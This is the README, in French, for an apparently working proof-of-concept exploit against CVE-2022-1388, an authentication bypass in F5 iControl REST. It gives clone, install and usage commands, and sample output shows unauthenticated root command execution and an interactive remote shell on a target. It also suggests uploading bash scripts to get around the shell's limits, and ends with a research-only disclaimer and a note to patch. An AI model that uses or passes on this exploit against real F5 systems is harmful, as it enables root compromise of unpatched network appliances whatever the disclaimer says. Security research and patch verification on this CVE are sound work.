
Une preuve de concept améliorée pour CVE-2022-1388 avec un shell interactif
POC amélioré pour CVE-2022-1388 qui affecte plusieurs produits F5.
Ceci est une version améliorée du Proof of Concept d'Horizon3 pour CVE-2022-1388: https://github.com/horizon3ai/CVE-2022-1388
Cette version contient de multiples améliorations ainsi qu'un shell interactif pour exécuter des commandes à distance.
L'analyse technique de la cause racine de la vulnérabilité par Horizon3 est disponible sur leur blog : https://www.horizon3.ai/f5-icontrol-rest-endpoint-authentication-bypass-technical-deep-dive/
Conditions nécessaires d'une requête pour exploiter cette vulnérabilité :
git clone https://github.com/PsychoSec2/CVE-2022-1388-POC.git
cd ./CVE-2022-1388-POC
pip3 install -r requirements.txt
python3 ./CVE-2022-1388.py -h
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -t
Running test on target: https://192.168.0.221 | Command: whoami
Response: root
Target is vulnerable!!
Use -s option to run an interactive shell.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -u https://192.168.0.221 -s
Running interactive shell..
root@f5-localhost: /var/service/restjavad$
Ne nécessite pas l'utilisation de connexion TCP inverse ni d'écouteurs.
root@kali:/home/dev/CVE-2022-1388-POC# python3 CVE-2022-1388.py -h
Usage: CVE-2022-1388.py [options]
Options:
-h, --help Show this help message.
-u URL, --url=URL The IP address of the target.
-t, --test Test target for CVE-2022-1388.
-s, --shell Run an interactive shell.
Veuillez noter que lors de l'exécution du shell interactif sur un système non patché, certaines commandes et syntaxes peuvent ne pas fonctionner ou donner un résultat attendu. Cela est probablement dû à l'utilisation de JSON dans les requêtes et réponses de l'API du serveur. Pour éviter tout problème, essayez de ne pas utiliser de caractères individuels qui sont courants dans la syntaxe JSON tels que les deux-points, les virgules, les accolades, les crochets, et surtout les guillemets lorsque vous utilisez le shell interactif. Toute syntaxe JSON dans une commande doit être structurée au format.
L'utilisation de toute syntaxe JSON non structurée dans une commande peut conduire à une requête API mal formée vers le serveur et pourrait vous laisser avec : aucune sortie de commande, rien n'étant exécuté, ou pourrait vous expulser entièrement du script Python. Cela rend malheureusement certaines commandes inutilisables. Pour contourner ce problème, vous pouvez plutôt écrire un script bash, le télécharger sur le serveur et l'exécuter à l'aide du shell interactif. Il n'est pas non plus possible de changer de répertoire à l'aide de la commande 'cd'.
Dans tous les cas, vous devriez toujours être en mesure d'obtenir une sortie de commande basique. Si vous n'obtenez aucune sortie de commande, cela ne signifie pas que la commande n'a pas été exécutée. Cependant, vous devrez le déterminer par votre propre analyse.
Mettez à jour vers la dernière version ou atténuez en suivant les instructions dans l'avis de sécurité F5
Ce logiciel a été créé uniquement à des fins de recherche académique et pour le développement de techniques défensives efficaces, et n'est pas destiné à être utilisé pour attaquer des systèmes sauf autorisation explicite. Les responsables du projet ne sont pas responsables ou redevables en cas d'utilisation abusive du logiciel. Utilisez-le de manière responsable.